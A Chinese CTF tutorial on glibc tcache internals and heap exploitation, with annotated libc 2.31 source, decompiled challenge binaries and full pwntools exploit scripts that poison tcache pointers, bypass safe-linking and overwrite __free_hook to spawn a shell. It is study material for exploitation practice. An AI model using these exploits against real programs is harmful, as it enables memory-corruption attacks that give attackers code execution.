Tcache attack
Tcache的结构
我们看看libc2.31的源码其相关的定义
#if USE_TCACHE
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */#字面意思
# define TCACHE_MAX_BINS 64
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */#意思大概就是他利用释放后堆块的内存去储存这个结构,不会新调用内存
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */#和字面意思一样,这个key值防止double free
struct tcache_perthread_struct *key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */#重要的应该就是这个tcache是每个线程都有一个吧,其他的应该是字面意思
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread bool tcache_shutting_down = false;
static __thread tcache_perthread_struct *tcache = NULL;
TCACHE_MAX_BINS这个宏大小被定义为64,也就是0x40。我们可以简单算一下tcache_perthread_struct结构的大小,0x40个uint16_t数组大小是0x80,有0x40个指向tcache_entry的指针也就是0x200的大小合起来也就是0x280(在libc2.30之前是0x240,区别在count的定义上,之前的类型是char)个可写内存,实际的堆块大小应该是0x290,下面我们看看这个tcache结构是放在哪的。
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);#tcache结构的大小给了bytes
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);#获取一个可用的 arena
victim = _int_malloc (ar_ptr, bytes);#分配对应大小的内存,也就是0x290
if (!victim && ar_ptr != NULL)#如果第一次分配失败就再试一次
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */#字面意思
if (victim)
{
tcache = (tcache_perthread_struct *) victim;#把对应内存的指针给tcache
memset (tcache, 0, sizeof (tcache_perthread_struct));#把这段内存清零
}
}
再后面的部分我就先用宏观的角度讲讲吧,先不结合源码讲了,tcache的链表的堆块大小从0x20一直到0x410,一共0x40个堆块,符合我们在上面看见的宏定义,如果大于这个范围那就不会进tcache,并且每个链表的堆块最大只有7个,比如0x20个堆块,他最多储存7个0x20大小的堆,剩下如果还有,那就不会进tcache。另外还要注意的就是,在libc2.41之前calloc申请堆块是不会走tcache的,也就是如果calloc申请堆块,他会直接申请其他bin中对应的堆或直接从top chunk里切割。还有就是他的next指针是直接指向下一个堆块的next指针(也就是下一个堆块的可写地址而不是堆块头)
其他特性基本与fastbin相同,单向链表,先进后出,头插法。要注意的就是在libc2.28之前tcache没有那个key值,所以可以随意double free,后面再关键一点的转变就是2.32的safelinking机制了,safelinking简单来说就是对next指针进行了加密,不能直接改成堆/目标地址了,他的加密过程的代码如下
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
就是加密值 = next原本指向的地址 ^ (next指针的地址>> 12)next原本应该指向的地址就是下一个堆块的地址,所以在有safelinking的时候我们攻击就还需要泄露堆地址。
攻击
攻击有两种大方向,第一种是通过uaf,堆溢出,off by one/null + overlap直接改next指针,在libc2.32前我们只需要free大小相同的堆块a,free堆块b然后修改b堆块的next指针改成目标地址即可,不需要在目标地址伪造堆块,而2.32后就需要伪造大小了。第二种是unlink在smallbin的堆块放入tcache时,因为他只检测第一个堆块的合法性,没有检查其他堆块,所以只要修改第一个堆块的bk指针申请任意地址了。下面我还是演示一下攻击
polarctf-unk
因为这题漏洞很多就拿来练手了可以去靶场下载,去pwn那个方向搜一下就好(远程是2.23)PolarD&N,我们先patchelf一下把这个环境设置成2.31的。这题就是有uaf,有堆溢出,可以show,以及随意申请任意大小的堆块。我把反编译的代码贴出来。
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while ( 1 )
{
menu();
switch ( get_num() )
{
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
break;
}
}
menu就是打印一些提示
int __cdecl get_num()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x10u);
return atoi(buf);
}
void __cdecl add_chunk()
{
int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]
puts("index:");
index = get_num();
puts("size:");
size = get_num();
chunk_list[index] = (char *)malloc(size);
}
void __cdecl delete_chunk()
{
int index; // [rsp+Ch] [rbp-4h]
puts("index:");
index = get_num();
free(chunk_list[index]);
}
void __cdecl edit_chunk()
{
int index; // [rsp+8h] [rbp-8h]
int length; // [rsp+Ch] [rbp-4h]
puts("index:");
index = get_num();
puts("length:");
length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void __cdecl show_chunk()
{
int index; // [rsp+Ch] [rbp-4h]
puts("index:");
index = get_num();
puts(chunk_list[index]);
}
思路就是先申请一个大于0x410的堆块进unsortedbin泄露libc地址,然后free一个堆块,free第二个堆块,改第二个堆块的next指针为freehook,申请两下申请到freehook的地址,然后往一个堆块里写一个/bin/sh\x00字符串,free掉这个堆块即可getshell
我选的版本是2.31-0ubuntu9.18,exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
p = remote('1')
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def add(s,a):
ru(b"choice:")
sdr(1)
ru(b"index:")
sdr(s)
ru(b"size:")
sdr(a)
def free(s):
ru(b"choice:")
sdr(2)
ru(b"index:")
sdr(s)
def edit(s,a,d):
ru(b"choice:")
sdr(3)
ru(b"index:")
sdr(s)
ru(b"length:")
sdr(a)
ru(b"content:")
sd(d)
def show(s):
ru(b"choice:")
sdr(4)
ru(b"index:")
sdr(s)
add(0,0x410)
add(1,0x20)
free(0)
add(0,0x20)
show(0)
rcl()
libcbase=u6(6)-0x1ecfd0
ph(libcbase)
fh=libcbase+libc.sym['__free_hook']
sy=libcbase+libc.sym['system']
free(0)
free(1)
edit(1,0x8,p64(fh))
add(0,0x20)
add(1,0x20)
edit(1,8,p64(sy))
edit(0,8,b'/bin/sh\x00')
free(0)
ti()
接下来patchelf改成2.32然后再打一遍,看看safelinking怎么绕过,我选的版本是2.32-0ubuntu3_amd64,这里有两种绕过办法,因为我这里可以进unsortedbin,因为safelinking不在unsortedbin生效,所以这里我们直接就可以有堆地址,算出来偏移再^即可
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
p = remote('1')
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def add(s,a):
ru(b"choice:")
sdr(1)
ru(b"index:")
sdr(s)
ru(b"size:")
sdr(a)
def free(s):
ru(b"choice:")
sdr(2)
ru(b"index:")
sdr(s)
def edit(s,a,d):
ru(b"choice:")
sdr(3)
ru(b"index:")
sdr(s)
ru(b"length:")
sdr(a)
ru(b"content:")
sd(d)
def show(s):
ru(b"choice:")
sdr(4)
ru(b"index:")
sdr(s)
add(0,0x410)
add(1,0x20)
free(0)
add(0,0x20)
show(0)
rcl()
libcbase=u6(6)-0x1e3ff0
ph(libcbase)
edit(0,0x10,b'b'*0x10)
show(0)
ru(0x10*b'b')
heap=u6(4)+0x430
ph(heap)
fh=libcbase+libc.sym['__free_hook']
sy=libcbase+libc.sym['system']
free(0)
free(1)
ph(fh)
dbg()
edit(1,0x8,p64(fh^(heap>>12)))
add(0,0x20)
add(1,0x20)
edit(1,8,p64(sy))
edit(0,8,b'/bin/sh\x00')
free(0)
ti()
第二种办法就是不用unsortedbin泄露,直接用tcache泄露。只需要在第一次堆块进入之后show一次即可,为什么?因为第一次进入时第一个堆块的next指针是没值的,也就是0,0^(next指针的地址>>12)这个值就是next指针的地址>>12,我们<<12就是一个堆地址(但是一般不是next指针的地址)了,当然如果不需要堆地址的话也可以直接拿来异或。
2.32的exp如下
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
p = remote('1')
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def add(s,a):
ru(b"choice:")
sdr(1)
ru(b"index:")
sdr(s)
ru(b"size:")
sdr(a)
def free(s):
ru(b"choice:")
sdr(2)
ru(b"index:")
sdr(s)
def edit(s,a,d):
ru(b"choice:")
sdr(3)
ru(b"index:")
sdr(s)
ru(b"length:")
sdr(a)
ru(b"content:")
sd(d)
def show(s):
ru(b"choice:")
sdr(4)
ru(b"index:")
sdr(s)
add(0,0x410)
add(1,0x20)
free(0)
add(0,0x20)
show(0)
rcl()
libcbase=u6(6)-0x1e3ff0
ph(libcbase)
fh=libcbase+libc.sym['__free_hook']
sy=libcbase+libc.sym['system']
free(0)
show(0)
rcl()
heap=u6(3)
ph(heap)
free(1)
edit(1,0x8,p64(fh^(heap)))
add(0,0x20)
add(1,0x20)
edit(1,8,p64(sy))
edit(0,8,b'/bin/sh\x00')
free(0)
ti()
下面我们来看一道跟tcache结构相关的题。
tcache结构相关的题
这题给不懂tcache的我来了一个大大的震撼,直接手足无措,其实还是挺简单的但是比较看布局,libc版本是2.31,保护全开。伪代码我就贴在下面了
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int n3; // eax
init_data(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
n3 = menu();
if ( n3 != 3 )
break;
show();
}
if ( n3 > 3 )
{
LABEL_10:
puts("something wrong!");
}
else if ( n3 == 1 )
{
add();
}
else
{
if ( n3 != 2 )
goto LABEL_10;
delete();
}
}
}
普通的菜单,没什么好说的
int menu()
{
char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Ez_N0t3_B00k?");
puts("1.add");
puts("2.dele");
puts("3.show");
puts("4.exit");
puts("plz input:");
input(nptr, 8);
return atoi(nptr);
}
__int64 __fastcall input(void *p_nptr, __int64 n8)
{
int v3; // [rsp+1Ch] [rbp-4h]
v3 = read(0, p_nptr, (unsigned int)n8);
if ( v3 < 0 )
{
puts("error");
exit(-1);
}
return (unsigned int)v3;
}
这个input是没有off by one/null的
__int64 show()
{
int n4; // [rsp+Ch] [rbp-14h]
char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("index:");
input(nptr, 8);
n4 = atoi(nptr);
if ( n4 > 4 )
{
puts("index error");
exit(-1);
}
if ( *(&heap + n4) )
{
puts("content:");
write(1, *(*(&heap + n4) + 8LL), **(&heap + n4));
}
else
{
puts("error");
}
return 0;
}
输入3进入show,这里看着好像有一个数组越界,但其实是没有的,可以看汇编
.text:0000000000001751 mov [rbp+var_14], eax
.text:0000000000001754 cmp [rbp+var_14], 0
.text:0000000000001758 js short loc_1760
.text:000000000000175A cmp [rbp+var_14], 4
.text:000000000000175E jle short loc_1776
这里有两个跳转第一个是JS如果为负数就会直接跳转了,所以是不能数组越界的。
__int64 add()
{
int n4; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+Ch] [rbp-14h]
char size_4; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( n4 = 0; n4 <= 4 && *(&heap + n4); ++n4 )
;
if ( n4 == 5 )
{
puts("No space!");
return 0;
}
else
{
puts("length:");
input(&size_4, 8);
size = atoi(&size_4);
if ( size <= 0x25F || size > 0x300 )
{
puts("No size like that!");
exit(-1);
}
*(&heap + n4) = malloc(0x20u);
**(&heap + n4) = size;
*(*(&heap + n4) + 8LL) = malloc(size);
puts("content:");
read(0, *(*(&heap + n4) + 8LL), size - 1);
printf("What's this:%ld\n", *(*(&heap + n4) + 8LL) & 0xFFFLL);
return 0;
}
}
输入1进入add,malloc(0x20)相当于创建了个结构体userdata的位置是size(也就是free后堆块fd指针的位置),userdata+8的位置是我们真正能控制申请大小堆块的位置(也就是free后堆块bk指针的位置),这里还有申请的大小限制,目前来看是没有漏洞的。
__int64 delete()
{
int n4; // [rsp+Ch] [rbp-14h]
char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("index:");
input(nptr, 8);
n4 = atoi(nptr);
if ( n4 > 4 )
{
puts("index error");
exit(-1);
}
if ( *(&heap + n4) )
{
free(*(&heap + n4));
free(*(*(&heap + n4) + 8LL));
**(&heap + n4) = 0;
*(*(&heap + n4) + 8LL) = 0;
*(&heap + n4) = 0;
}
else
{
puts("error");
}
return 0;
}
选2进入delete函数,这里乍一看也没有漏洞啊,不是很好的清零了么,确实没有简单的UAF了,然后主程序也没有其他函数了,没有edit函数。那接下来怎么办了呢?这里其实是有一个UAF漏洞的,漏洞就在他先free(*(&heap + n4));,再 free( *( *(&heap + n4) + 8LL));这就会产生一个问题,他先free掉这个结构体的地址的堆块(就先叫堆块a吧),再free掉a这个堆块bk指针位置的堆块。他忘记了一个堆块free之后,他的fd,bk指针位置的值是会被赋值的,而这个堆块a的大小是0x20,会进tcache,而我们上面讲了tcache这个结构也是一个堆块(大小是0x280),这样他就莫名其妙帮我们把tcache结构体释放了,我们如果再申请一个类似大小的堆块就可以往tcache结构体里写值,直接可以任意地址申请堆块了。但这题开了pie导致没那么简单写,但是需要注意的是,我们申请堆块不要把整个堆块的结构破坏了,不然会报错。
大题思路就是先得到堆地址,要布局一个堆块使其的指针指向tcache_perthread_struct,改tcache_perthread_struct把count改成7以上保证tcache_perthread_struct进入unsortedbin,直接show另一个堆块泄露出libc基地址,后面再改tcache_perthread_struct让0x30的链表和我们申请堆块大小的链表形成一个overlapping,然后在0x30链表的堆块上写出来一个/bin/sh\x00,再改tcache_perthread_struct前面在我们申请的堆块大小的链表上放上freehook,然后申请出来写成system,最后free我们写出来了/bin/sh\x00字符串的堆块即可getshll
exp如下
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
p = remote('1')
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def add(s,a):
ru(b"plz input:")
slr(1)
ru(b"length:")
slr(s)
ru(b"content:")
sd(a)
def free(s):
ru(b"plz input:")
slr(2)
ru(b"index:")
sdr(s)
def show(s):
ru(b"plz input:")
slr(3)
ru(b"index:")
slr(s)
ru(b"content:\n")
add(0x300,b'b')
free(0)
add(0x280,b'7')
show(0)
rc(0x88)
heap=u6(7)
ph(heap)
free(0)
tar1=heap-0x2a0
tar=heap+0x390
pay=p16(7)*0x40+p64(tar)*0x2c+p64(tar1)*0x14
add(0x280,pay)
add(0x2e0,p64(0)+p64(0x291))
free(0)
show(1)
rc(0x18)
libcbase=u6(6)-0x1dcbe0-0x10000
sy=libcbase+libc.sym['system']
fh=libcbase+libc.sym['__free_hook']
ph(libcbase)
ta=heap+0x10
pay=p16(1)*4+p64(0x291)+p16(1)*0x3c+p64(ta)*0x2a+p64(ta-0x20)*0x16
add(0x2f0,pay)
add(0x2f0,p64(0)*3+p64(0x31)+b'/bin/sh\x00')
free(0)
pay=p16(1)*4+p64(0x291)+p16(1)*0x3c+p64(ta+0x30)*0x2a+p64(fh)*0x16
add(0x280,pay)
add(0x2f0,p64(sy))
free(2)
ti()
感觉这题还挺有意思的.
原文地址: https://www.cveoy.top/t/topic/qGl8 著作权归作者所有。请勿转载和采集!